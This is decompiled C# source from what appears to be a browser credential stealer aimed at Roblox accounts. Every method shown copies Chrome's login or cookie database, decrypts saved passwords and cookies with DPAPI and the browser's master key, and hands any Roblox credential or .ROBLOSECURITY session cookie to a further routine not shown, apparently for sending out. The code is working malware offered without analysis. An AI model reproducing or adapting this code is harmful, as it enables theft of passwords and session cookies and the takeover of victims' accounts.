// Token: 0x0600000D RID: 13 RVA: 0x00002D88 File Offset: 0x00000F88 private static void smethod_9(string string_8) { if (File.Exists(string_8)) { string str = EntryPointClass.pPtixUhvH(); string text = EntryPointClass.string_5 + "\\" + str + ".db"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_8, text); string text2 = string.Format("Data Source={0};Version=3;", text); try { SQLiteConnection sqliteConnection = new SQLiteConnection(text2); sqliteConnection.Open(); string text3 = "SELECT action_url, username_value, password_value FROM logins;"; SQLiteCommand sqliteCommand = new SQLiteCommand(text3, sqliteConnection); SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader(); while (sqliteDataReader.Read()) { string text4 = (string)sqliteDataReader["action_url"]; string text5 = (string)sqliteDataReader["username_value"]; string @string = Encoding.UTF8.GetString(ProtectedData.Unprotect((byte[])sqliteDataReader["password_value"], null, DataProtectionScope.CurrentUser)); string[] array = new string[] { string.Concat(new string[] { text5, ":!:", @string, ":!:", text4 }) }; foreach (string text6 in array) { if (text6.Contains("roblox")) { EntryPointClass.smethod_10(text6); } } } sqliteConnection.Close(); } catch (Exception ex) { Console.WriteLine(ex.ToString()); try { File.Delete(text); } catch { } } } }
// Token: 0x06000015 RID: 21 RVA: 0x000034AC File Offset: 0x000016AC private static void smethod_17(string string_8) { if (File.Exists(string_8)) { try { string str = EntryPointClass.pPtixUhvH(); string text = EntryPointClass.string_5 + "\\" + str + ".db"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_8, text); string text2 = string.Format("Data Source={0};Journal Mode=Off;", text); SQLiteConnection sqliteConnection = new SQLiteConnection(text2); sqliteConnection.Open(); string text3 = "SELECT origin_url, username_value, password_value FROM logins;"; SQLiteCommand sqliteCommand = new SQLiteCommand(text3, sqliteConnection); SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader(); while (sqliteDataReader.Read()) { string text4 = (string)sqliteDataReader["origin_url"]; string text5 = (string)sqliteDataReader["username_value"]; byte[] byte_ = (byte[])sqliteDataReader["password_value"]; string text6 = File.ReadAllText(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Google\\Chrome\\User Data\\Local State"); text6 = JObject.Parse(text6)["os_crypt"]["encrypted_key"].ToString(); byte[] byte_2 = ProtectedData.Unprotect(Convert.FromBase64String(text6).Skip(5).ToArray <byte>(), null, DataProtectionScope.LocalMachine); string text7 = EntryPointClass.smethod_15(byte_, byte_2, 3); string[] array = new string[] { string.Concat(new string[] { text5, ":!:", text7, ":!:", text4 }) }; foreach (string text8 in array) { if (text8.Contains("roblox")) { EntryPointClass.smethod_10(text8); } } } } catch { } } }
// Token: 0x0600000C RID: 12 RVA: 0x00002C7C File Offset: 0x00000E7C private static void smethod_8(string string_8) { if (File.Exists(string_8)) { string str = EntryPointClass.pPtixUhvH(); string text = EntryPointClass.string_5 + "\\" + str + ".db"; if (File.Exists(text)) { File.Delete(text); } File.Copy(string_8, text); string text2 = string.Format("Data Source={0};", text); try { SQLiteConnection sqliteConnection = new SQLiteConnection(text2); sqliteConnection.Open(); string text3 = "SELECT encrypted_value FROM cookies;"; SQLiteCommand sqliteCommand = new SQLiteCommand(text3, sqliteConnection); SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader(); while (sqliteDataReader.Read()) { string @string = Encoding.UTF8.GetString(ProtectedData.Unprotect((byte[])sqliteDataReader["encrypted_value"], null, DataProtectionScope.CurrentUser)); string[] array = new string[] { @string }; foreach (string text4 in array) { if (text4.Contains("_|WARNING:-DO-NOT-SHARE-THIS.")) { EntryPointClass.smethod_10(text4); } } } sqliteConnection.Close(); } catch { } } }